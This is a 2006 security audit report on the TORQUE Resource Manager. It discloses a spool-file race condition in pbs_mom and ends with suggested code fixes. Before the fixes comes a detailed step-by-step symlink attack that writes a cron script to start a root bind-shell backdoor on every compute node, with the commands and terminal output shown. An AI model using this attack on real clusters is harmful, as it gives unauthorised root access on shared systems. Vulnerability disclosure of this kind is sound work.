TORQUE Resource Manager Security Audit

March 2006

Luís Miguel Ferreira da Silva
lms@fe.up.pt

INDEX

Disclaimer

The information contained in this document is private and should only be read by Cluster Resources staff.
The reader is responsible for all damage, direct or indirect, material or immaterial done by his/her own fault to TORQUE Resource Manager and/or to any third party using the information contained in this document.

Do not continue reading the document if you do not agree to this.

Introduction

At the end of March, Cluster Resources asked me to audit the TORQUE Resource Manager for security flaws.
In this report I will discuss some of the methods I used to look for security bugs, how to exploit them and, more importantly, how to correct them.
Since this audit has no commercial value, it will be short on technical information.

A little background on TORQUE Resource Manager

According to Cluster Resources INC, ‘TORQUE is an open source resource manager providing control over batch jobs and distributed compute nodes. It is a community effort based on the original *PBS project and, with more than 1,200 patches, has incorporated significant advances in the areas of scalability, fault tolerance, and feature extensions contributed by NCSA, OSC, USC , the U.S. Dept of Energy, Sandia, PNNL, U of Buffalo, TeraGrid, and many other leading edge HPC organizations’.

Knowing this, it is not very difficult to imagine the large amount of code the application has (about *290000+* lines of code).

This makes any audit a true challenge since it is very difficult to keep track on code execution.

The security audit: analyzing the possibilities

Like I said earlier in this report, the large amount of code the application has and the fact that it is a networking application which uses its own protocol turns a security audit into a true challenge since it is very difficult to keep track on code execution.

Having said that, I chose not to waste any time reading the code (at least not initially) and preferred to analyze the code as if it were a closed source application.

Since I had no information on the software, I started reading the information available on the 'man' pages, internet and most of the client applications output.

I also did several 'straces' so I could understand the communication protocol
more easily.

Security flaws found

Although I found more than one security flaw on the software and since this is a free audit, this report will only include information on the most significant flaw I found.

The security flaw is caused by a typical 'race condition' bug (like the one I reported on the Moab Web Interface) on the '*pbs_mom*' agent and enables a user to escalate his/her privileges to system administrator on all the compute nodes.

When a user submits a 'job' the '*pbs_server*' will schedule / queue it and push it onto the compute node(s).

The '*pbs_server*' does this by communicating with the '*pbs_mom*' server agent(s) running on the compute nodes.

When a 'pbs_mom' agent receives the new job, it writes it in a temporary directory on the disk:

```
root      2859  0.0  0.0  9420 1336 ?       Ss   Mar22   3:09 /usr/local/sbin/pbs_mom
lms      21595  0.0  0.0 47260 1460 ?       Ss   03:28   0:00  \_ -bash
lms      21626  0.0  0.0 44000 1012 ?       S    03:28   0:00      \_ /bin/sh /usr/spool/PBS/mom_priv/jobs/1584.cluste.SC
lms      21627  0.0  0.0 44940  548 ?       S    03:28   0:00          \_ sleep 60
```

As we can see, the spooled job has a predictable name based on the job id and the server name.

The 'jobs' directory is owned by root:root and is not readable or writable by others. As this may protect the local users, if an administrator mistakenly changes the permissions on this directory, any user will be able to execute arbitrary code by taking advantage of the predictable job name.

Of course this is not a direct vulnerability but I think it deserves proper care since, in my experience, I can almost guarantee that the administrator can and most probably will make the mistake of changing the permissions on that directory (affecting the security of the system).

As the job continues its execution, we can see that its output (typically written to the *stderr* and *stdout* file descriptors) is written in another spooling directory:

```
[lms@node26 ~]$ ps faxu | grep lms
root     21105  0.0  0.0 34940 2732 ?       Ss   03:22   0:00  \_ sshd: lms [priv]
lms      21107  0.0  0.0 35112 2816 ?       S    03:22   0:00      \_ sshd: lms@pts/0
lms      21108  0.0  0.0 47400 1616 pts/0   Ss   03:22   0:00          \_ -bash
lms      21529  0.0  0.0  7748  968 pts/0   R+   03:24   0:00              \_ ps faxu
lms      21530  0.0  0.0 42324  664 pts/0   S+   03:24   0:00              \_ grep lms
lms      21524  0.0  0.0  9416 1336 ?       S    03:24   0:00  \_ /usr/local/sbin/pbs_mom
lms      21525  0.0  0.0 19420 1472 ?       S    03:24   0:00      \_ /usr/bin/scp -Br /usr/spool/PBS/spool/1583.cluste.OU
lms cluster /tmp/lms/myscript.o1583
lms      21526  0.0  0.0 19664 2396 ?       S    03:24   0:00          \_ /usr/bin/ssh -x -oForwardAgent no -
oClearAllForwardings yes -oBatchmode yes -llms cluster scp -r -t /tmp/lms/myscript.o1583
[lms@node26 ~]$
```

As we can see in this example, the ‘/usr/spool/PBS/spool’ directory is used for spooling the users ‘*stdout*’ and ‘*stderr*’ file descriptors, again, with a predictable name.

Since the directory is writable by others, we can (and will) exploit this security flaw.

How to exploit the ‘*pbs_mom*’ spooling race condition bug?

Since this is a race condition security flaw, the attack is very simple and we don’t actually need malicious code or any programming skills to exploit it.

All the steps needed to escalate the privileges on every compute nodes can be achieved by a simple ‘*symlink*’ attack.

Since we can control the contents of the files we are going to redirect, the attack is quite straightforward.

If you do not know what is the spool directory for the ‘*jobs*’ output or in what node is the code running, you can submit the following job and check the generated output:

```
####################### myjob.sh
uname –a
pwd
#######################
```

If you look at the generated output you can see on what node the code is running and what is the directory used to spool the ‘*jobs*’.

This will probably be enough for you to find where the ‘*stdout*’ and ‘*stderr*’ file descriptors get spooled since, typically, the ‘spool’ directory is on the same transversal directory as the ‘jobs’ one.

If that is not the case, the next step will be for you to:
a) submit another job with a long task (‘sleep 60’ is enough)
b) connect to the compute node (by ssh for instance) and list your running processes (i.e.: ps –faxu | grep your_user)

You will then see the spooling directory:

```
lms      21524  0.0  0.0  9416 1336 ?       S    03:24   0:00  \_ /usr/local/sbin/pbs_mom
lms      21525  0.0  0.0 19420 1472 ?       S    03:24   0:00      \_ /usr/bin/scp -Br /usr/spool/PBS/spool/1583.cluste.OU
lms cluster /tmp/lms/myscript.o1583
```

It is now time to make our ‘evil symlink’ and write any arbitrary file on the disk (with root permissions).

This enables us to do all sorts of attacks to gain system administrator privileges on the remote machine. We could add a root system account on the nodes, change the ‘ssh’ pam entry so we could log on as root with no password or use some other ingenious way.
Since it was almost 4 am when I found this bug and ‘*cron.hourly*’ jobs would get executed within some minutes, I chose to submit a ‘*cron*’ job by writing a file to the ‘/etc/cron.hourly/’ directory.

To do just that, we need to do the following steps:

a) compile a backdoor and place it in your home directory (i.e.: code something to 'dup()' '*stdin*'/'*stdout*' and '*stderr*' to a tcp socket and execute '/bin/sh').

b) on the compute node you want to attack, point a symlink to a script on '/etc/cron.hourly/':

```
[lms@node26 spool]$ ln –s /etc/cron.hourly/backdoor 1591.cluste.OU
```

note: in this example, '***1591***' is the next job id (increment the last one and you will find this number), '***cluste***' is the 'pbs_server' name and '***OU***' means 'stdout'.

c) submit the following job

```
[lms@ibmcluster lms]$ cat /tmp/myscript
#!/bin/sh
echo "#!/bin/sh"
echo "id > /tmp/created-by-lms-audit-cron"
echo "chmod 666 /tmp/created-by-lms-audit-cron"
echo "/cluster/ibm/lms/backdoor /bin/sh 5343"
[lms@ibmcluster lms]$ qsub /tmp/myscript
1591.cluster
[lms@ibmcluster lms]$
```

note: the above example assumes that '***/cluster/ibm/lms/backdoor***' is a backdoor that will bind '/bin/sh' to port 5343 (tcp).

d) After submitting the job you can check that the '*/etc/cron.hourly/backdoor*' script got created:

```
[lms@node26 spool]$ ls /etc/cron.hourly/
backdoor
[lms@node26 spool]$ cat /etc/cron.hourly/backdoor
#!/bin/sh
id > /tmp/created-by-lms-audit-cron
chmod 666 /tmp/created-by-lms-audit-cron
/cluster/ibm/lms/backdoor /bin/bash 5343
```

Since we are the owners of the file and it has no execution permission, we have to enable it:

```
[lms@node26 spool]$ chmod 755 /etc/cron.hourly/backdoor
```

e) If the system is running cron, during the beginning of the following hour, our backdoor will be executed with root privileges:

```
################## before 04 am
[lms@node26 spool]$ date
Mon Mar 27 03:58:21 WEST 2006
[lms@node26 spool]$ ls -al /tmp
total 28
drwxr-xr-x   3 root root   4096 Mar 27 03:28 .
drwxr-xr-x  26 root root   4096 Mar 22 16:31 ..
drwx------   2 root root  16384 Mar 22 16:32 lost+found
-rw-------   1 lms  GERAL      0 Mar 27 03:28 luis-ER
-rw-------   1 lms  GERAL      0 Mar 27 03:28 luis-OU
[lms@node26 spool]$ netstat -na | grep 5343
[lms@node26 spool]$ ps axuw | grep backdoor
lms      22192  0.0  0.0 42324  688 pts/0    S+   03:58   0:00 grep backdoor
[lms@node26 spool]$
################## after 04 am
[lms@node26 spool]$ date
Mon Mar 27 04:01:31 WEST 2006
[lms@node26 spool]$ netstat -na | grep 5343
tcp        0      0 0.0.0.0:5343            0.0.0.0:*               LISTEN
[lms@node26 spool]$ ps axuw | grep backdoor
root     22210  0.0  0.0  5352  896 ?        S    04:01   0:00 /bin/sh /etc/cron.hourly/backdoor
root     22211  0.0  0.0  5408  576 ?        S    04:01   0:00 awk -v progname=/etc/cron.hourly/backdoor progname
{?????   print progname ":\n"?????   progname="";????       }????       { print; }
lms      22219  0.0  0.0 42324  688 pts/0    S+   04:01   0:00 grep backdoor
[lms@node26 spool]$ ls -al /tmp
total 32
drwxr-xr-x   3 root root   4096 Mar 27 04:01 .
drwxr-xr-x  26 root root   4096 Mar 22 16:31 ..
-rw-rw-rw-   1 root root     88 Mar 27 04:01 created-by-lms-audit-cron
drwx------   2 root root  16384 Mar 22 16:32 lost+found
-rw-------   1 lms  GERAL     0 Mar 27 03:28 luis-ER
-rw-------   1 lms  GERAL     0 Mar 27 03:28 luis-OU
[lms@node26 spool]$ cat /tmp/created-by-lms-audit-cron
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
[lms@node26 spool]$ telnet localhost 5343
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
id ;
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel)
^C
[lms@node26 spool]$
```

As we can see this is a very trivial security flaw which is especially easy to exploit. We don't even require any programming skills.

Of course this is just an example of how to exploit TORQUE. There are a lot of different ways to do it that don't even require 'ssh' access to the compute nodes (using the '*moab access portal*' for instance).

Since a user can submit a job to multiple compute nodes, we can execute arbitrary code as root by submitting a malicious job to every node at the same time (i.e.: qsub –l nodes=number_of_nodes).

How do we correct this bug?

There is no simple workaround for this ‘race condition’ bug. Because of the nature of this flaw, the only way to correct it is to patch the code directly.

In other race condition bugs we could simply change the permissions on the spooling directory but, since at the end of the execution the file has to be read/removed by the regular user, we have to patch the source.

Although the flaw is fairly simple, patching it may be a little more complicated.

As we already know, the faulty code is called during the creation of the spooled output file.

The spooled file is created when the open_std_out_err() [‘src/resmom/start_exec.c:649’] function is called. From this function, open_std_file() [‘src/resmom/start_exec.c:4625’] gets called and this is where the file is actually created.

This last function gets the ‘temporary’ name by calling std_file_name() [‘src/resmom/start_exec.c:4423’]. My suggestion will be to patch ‘std_file_name()’.

The ‘std_file_name()’ function should only return a path to a non existing temporary file. It needs to check if the file exists **before** opening it and, if it does, **simply remove it**.

The generated filename should have an unpredictable name (with, for instance, a long random string at the end).

In most cases, we could simple call mkstemp() to generate a temporary file name but that would ‘alter’ the software to much.

The problem with simply returning a random name on ‘std_file_name()’ is that the filename needs to be known later on the execution when the ‘*stdout*’ and ‘*stderr*’ files get copied onto the ‘head’ node and, finally, get erased.

For this to happen we need to get that same filename into some kind of a shared structure or environment variable. I haven’t got the time to analyze all the code to know where in the code ‘*pbs_mom*’ copies / erases the spooled files.

Conclusion

As this report shows, the TORQUE Resource Manager has got some rather simple conception flaws that can be ‘easily’ patched.

During my analysis, I was able to see that most typical security checks have already been taken into account but that, apparently, there are also some other flaws that can be used by an attacker to execute (un)privileged code.